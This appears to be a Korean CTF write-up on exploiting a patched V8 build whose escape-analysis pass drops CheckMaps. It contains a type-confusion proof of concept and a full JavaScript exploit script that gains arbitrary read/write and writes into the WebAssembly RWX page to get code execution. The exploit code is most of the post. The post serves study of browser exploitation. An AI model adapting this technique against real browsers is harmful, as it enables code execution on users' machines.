# Make POC
patch 파일과 d8.exe가 주어집니다. patch 파일을 보면 escape-analysis.cc의 reduce함수에서 case IrOpcode::kCheckMaps:을 거의 지워버린 것을 볼 수 있습니다. reduce 함수는 사용자 정의 함수를 최적화할 때 사용되는 함수 중 하나입니다. 따라서 escape-analysis 최적화를 할 때 Maps(타입) 검사를 지워버리는 패치라고 이해할 수 있습니다.
https://github.com/v8/v8/tree/50dd84ca317ae35c926ed34d001a72b62aea6662
diff --git a/src/compiler/escape-analysis.cc b/src/compiler/escape-analysis.cc
index b3f684ea61..ae2cbdabca 1006패44
--- a/src/compiler/escape-analysis.cc
+++ b/src/compiler/escape-analysis.cc
@@ -726,29 +726,8 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,
break;
}
case IrOpcode::kCheckMaps: {
- CheckMapsParameters params = CheckMapsParametersOf(op);
- Node* checked = current->ValueInput(0);
- const VirtualObject* vobject = current->GetVirtualObject(checked);
- Variable map_field;
- Node* map;
- if (vobject && !vobject->HasEscaped() &&
- vobject->FieldAt(HeapObject::kMapOffset).To(&map_field) &&
- current->Get(map_field).To(&map)) {
- if (map) {
- Type const map_type = NodeProperties::GetType(map);
- if (map_type.IsHeapConstant() &&
- params.maps().contains(
- map_type.AsHeapConstant()->Ref().AsMap().object())) {
- current->MarkForDeletion();
- break;
- }
- } else {
- // If the variable has no value, we have not reached the fixed-point
- // yet.
- break;
- }
- }
- current->SetEscaped(checked);
+ //OmniTmizer - Improving performance
+ current->MarkForDeletion();
break;
}
case IrOpcode::kCompareMaps: {
Escape-Analysis에 관한 좋은 자료가 있습니다. Escape-Analysis뿐만 아니라 Turbofan의 최적화 과정에 대해 전반적으로 다루기 때문에, v8 최적화 과정에 대해 아직 공부한 적 없는 분은 참고하시면 좋을 것 같습니다.
https://www.jfokus.se/jfokus18/preso/Escape-Analysis-in-V8.pdf
위의 PPT를 읽으면 escape-analysis.cc의 reduce함수가 사용자 정의 함수 밖에서 온 변수들을 최적화하는 함수하는 것을 유추할 수 있습니다. 따라서 우리는 다음과 같은 POC를 만들 수 있습니다.
function gc(){
dead =0xdead;
beef = 0xbeef;
for(qqq=0;qqq<0x100;qqq++){
dead = dead ^ beef
}
}
function confusion(test){
gc()
gc()
gc()
for(i=0;i<0x10;i++){
cc=0xaaaaa
}
return test[0]
}
f=[1.1,2.2,3.3]
for(j=0;j<0x1000;j++){
confusion(f)// confusion 함수는 test가 float array이라는 가정하에 컴파일됩니다.
}
f[0]={} //CheckMaps가 없기 때문에 다른 Maps를 가진 오브젝트가 들어와도 Maps를 체크하지 못합니다.
print(confusion(f))
위 코드를 d8.exe로 실행하기 전에, d8를 리눅스 환경에서 다시 빌드할 것입니다. 그 이유는 다음과 같습니다.
- V8 exploit은 쉘코드 부분을 제외하면 Linux와 Windows 간의 환경차이가 적습니다.
- 대부분의 포너는 windows보다는 Linux에 익숙합니다.
- 어차피 디버깅을 원할하게 하기 위해서 debug 빌드를 해야 합니다.
위 코드를 컴파일한 d8에서 실행하면 {} 가 float로 처리되어 Memory leak이 발생하는 것을 확인할 수 있습니다.
# exploit
POC.js를 활용해서 PACKED_ELEMENTS와 PACKED_DOUBLE_ELEMENTS 사이에 Type confusion을 발생시킬 수 있습니다. FakeObj와 Addr_of를 만들어 exploit을 할 수도 있겠지만, 저는 OOB object를 만들어 exloit했습니다. 이유는 이전에 비슷한 케이스를 OOB로 exploit해 본적이 있기 때문입니다. (아마 Fake_obj와 Addr_of를 활용한 풀이가 더 쉬울 것 같습니다.) OOB object를 만들 수 있는 이유는 PACKED_ELEMENTS는 하나의 element를 저장하는데 4바이트를 이용하지만, PACKED_DOUBLE_ELEMENTS는 하나의 element를 저장하는데 8바이트를 이용하기 때문입니다. 그 이유는 V8에서는 compressed pointer를 이용하기 때문입니다. ( https://v8.dev/blog/pointer-compression)
- PACKED_ELEMENTS에 대하여 PACKED_DUBLE_ELEMENTS인 것처럼 착각하게 하여 length의 두 배만큼 OOB를 일으킵니다.
- OOB Object를 만든 후에 평소에 하던대로 victim Object를 만들어서 external_pointer를 Leak하여 v8 heap base를 알아냅니다. (https://blog.infosectcbr.com.au/2020/02/pointer-compression-in-v8.html).
- victim object의 elements 포인터를 덮어써서 v8 heap base내에서 AAW, AAR Object를 얻어냅니다.
- victim object를 활용하여 ArrayBuffer의 backing_store을 원하는 값으로 덮어줍니다. 이렇게 덮어써진 값으로 v8 heap에서 벗어나서 full AAR, AAW이 가능해집니다.
- web assembly의 RWX 영역을 활용해서 RCE를 얻어냅니다.
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(BigInt(val) & 0xffffffffn);
u64_buf[1] = Number(BigInt(val) >> 32n);
return f64_buf[0];
}
function hex(val){
return "0x"+val.toString(16)
}
function assert(a){
if(a){
return;
}
throw "error"
}
function gc(){
dead =0xdead;
beef = 0xbeef;
for(qqq=0;qqq<0x100;qqq++){
dead = dead ^ beef
}
}
function confusion_f_l(a,idx){
gc()
gc()
gc()
dead =0xdead
beef =0xbeef
dead + beef
gc()
gc()
return a[idx];
}
function confusion_f_i(a,idx,f){
gc()
gc()
gc()
dead =0xdead
beef =0xbeef
dead + beef
a[idx] = f ;
}
function confusion_o(a,idx,f){
gc()
gc()
dead = 0xdead;
gc()
gc()
a[idx]=f;
}
function set_ptr(victim,ptr){
victim[1] = Number((ptr%0x100n ) * 0x1000000n)
victim[2] = Number((ptr/0x100n)%0x100000000n)
victim[3] = Number((ptr/0x10000000000n)%0x100n)
}
function main(){
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var sh = wasm_instance.exports.main;
f = [1.1,2.2,3.3,4.4,5.5]
fl= [1.1,2.2,3.3,4.4,5.5]
o = [{"a":1},{"b":1},{"d":1},{"c":1}]
test = []
test.length=0x100;
test.fill({"a":1})
victim = new Int32Array(0x10)
AAWR = new ArrayBuffer(8);;
for(i = 0 ; i<0x1000;i++){
gc()
gc()
confusion_f_l(f,0)
}
for(i=0 ; i<0x1000;i++){
gc()
gc()
confusion_f_i(f,0,1.1)
}
for(var iii =0; iii<0x100;iii++){
leak = confusion_f_l(test, iii ,0,1);
tmp = ftoi(leak)%0x1000n
if(tmp ==7){
var isolate_idx = iii;
var element_idx = iii+1;
print("isolate find!!")
print("isolate_idx = "+isolate_idx)
print("element_idx = "+element_idx)
}
}
isolate = confusion_f_l(test, isolate_idx);
isolate = ftoi(isolate)-7n
print("isolate = "+hex(isolate))
fl[0] = AAWR
AAWR_addr = confusion_f_l(fl,0)
AAWR_addr = ftoi(AAWR_addr)% 0x100000000n + isolate
fl[0] = wasm_instance
RWX_ptr = confusion_f_l(fl,0)
RWX_ptr = ftoi(RWX_ptr)%0x100000000n +0x68n-1n+isolate
print("RWX_ptr = "+hex(RWX_ptr));
backing = AAWR_addr+ 0x19n -0x10n-4n
print("backing = "+hex(backing))
backing = backing% 0x100000000n
confusion_f_i(test, element_idx ,itof(backing));
set_ptr(victim, RWX_ptr)
view = new DataView(AAWR)
RWX = view.getUint32(0,true)
RWX+= view.getUint32(4,true)*0x100000000
print("RWX = "+hex(RWX))
console.log('')
set_ptr(victim,BigInt(RWX))
view = new DataView(AAWR)
RWX = view.setUint32(0,0xcccccccc,true)
RWX = view.setUint32(4,0xcccccccc,true)
sh()
}
main()
시간이 날 때, 좀 더 자세히 정리하는 걸로 ...
'브라우저' 카테고리의 다른 글
DownUnderCTF 2020 / is-this-pwn-or-web (0) | 2020.09.21 |
---|---|
Chrome v8 / CVE-2019-5791 (0) | 2020.08.17 |
Chrome v8 / CVE-2020-6418 (1) | 2020.04.25 |
Chrome v8 / CVE-2019-5825 (0) | 2020.04.23 |
2017 codegate / js_world (0) | 2020.02.29 |